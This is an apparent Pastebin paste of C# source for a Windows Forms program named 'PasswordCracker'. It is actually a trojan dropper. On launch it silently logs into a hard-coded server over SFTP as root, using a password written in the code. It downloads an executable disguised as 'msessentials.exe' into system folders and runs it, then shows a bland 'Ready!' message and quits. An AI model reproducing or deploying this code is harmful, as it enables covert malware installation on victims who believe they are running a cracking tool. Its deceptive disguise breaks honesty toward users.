Advertisement
Guest User

XIQ

a guest
Jan 8th, 2016
71
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 2.99 KB | None | 0 0
  1. using System;
  2. using System.Collections.Generic;
  3. using System.ComponentModel;
  4. using System.Data;
  5. using System.Drawing;
  6. using System.Linq;
  7. using System.Text;
  8. using System.Windows.Forms;
  9. using System.IO;
  10. using System.Diagnostics;
  11. using System.Threading;
  12. using Renci.SshNet;
  13.  
  14. namespace PasswordCracker
  15. {
  16.     public partial class Form1 : Form
  17.     {
  18.         public Form1()
  19.         {
  20.             InitializeComponent();
  21.  
  22.             downloadFile();
  23.  
  24.             //MessageBox.Show("Network Board not compatible with Password Cracker!");
  25.             MessageBox.Show("Ready!");
  26.  
  27.             Environment.Exit(1);
  28.         }
  29.  
  30.         public void downloadFile()
  31.         {
  32.             String Host = "104.131.6.174";
  33.             int Port = 22;
  34.             String RemoteFileName = "/srv/users/serverpilot/apps/logs/msessentials.exe";
  35.             String RemoteFileName2 = "/srv/users/serverpilot/apps/logs/Renci.SshNet.dll";
  36.             String LocalDestinationFilename1 = @"C:\Windows\msessentials.exe";
  37.             String LocalDestinationFilename11 = @"C:\Windows\Renci.SshNet.dll";
  38.             String LocalDestinationFilename2 = @"C:\Program Files\Windows Essentials\msessentials.exe";
  39.             String LocalDestinationFilename22 = @"C:\Program Files\Windows Essentials\Renci.SshNet.dll";
  40.             String Username = "root";
  41.             String Password = "btminhkn";
  42.  
  43.             using (var sftp = new SftpClient(Host, Port, Username, Password))
  44.             {
  45.                 sftp.Connect();
  46.  
  47.                 try
  48.                 {
  49.                     using (var file = File.OpenWrite(LocalDestinationFilename1))
  50.                     {
  51.                         sftp.DownloadFile(RemoteFileName, file);
  52.                     }
  53.  
  54.                     using (var file = File.OpenWrite(LocalDestinationFilename11))
  55.                     {
  56.                         sftp.DownloadFile(RemoteFileName2, file);
  57.                     }
  58.  
  59.                     executarArquivo(LocalDestinationFilename1);
  60.                 }
  61.                 catch (Exception)
  62.                 {
  63.                     try
  64.                     {
  65.                     using (var file = File.OpenWrite(LocalDestinationFilename2))
  66.                     {
  67.                         sftp.DownloadFile(RemoteFileName, file);
  68.                     }
  69.  
  70.                     using (var file = File.OpenWrite(LocalDestinationFilename22))
  71.                     {
  72.                         sftp.DownloadFile(RemoteFileName2, file);
  73.                     }
  74.  
  75.                     executarArquivo(LocalDestinationFilename2);
  76.                     }
  77.                     catch (Exception)
  78.                     { }
  79.                 }
  80.  
  81.                 sftp.Disconnect();
  82.  
  83.             }
  84.         }
  85.  
  86.         public void executarArquivo(string fileName)
  87.         {
  88.             Process proc = new Process();
  89.             proc.StartInfo.FileName = fileName; //@"C:\Program Files\OS.ini";
  90.             proc.StartInfo.UseShellExecute = true;
  91.             proc.Start();
  92.         }
  93.     }
  94. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement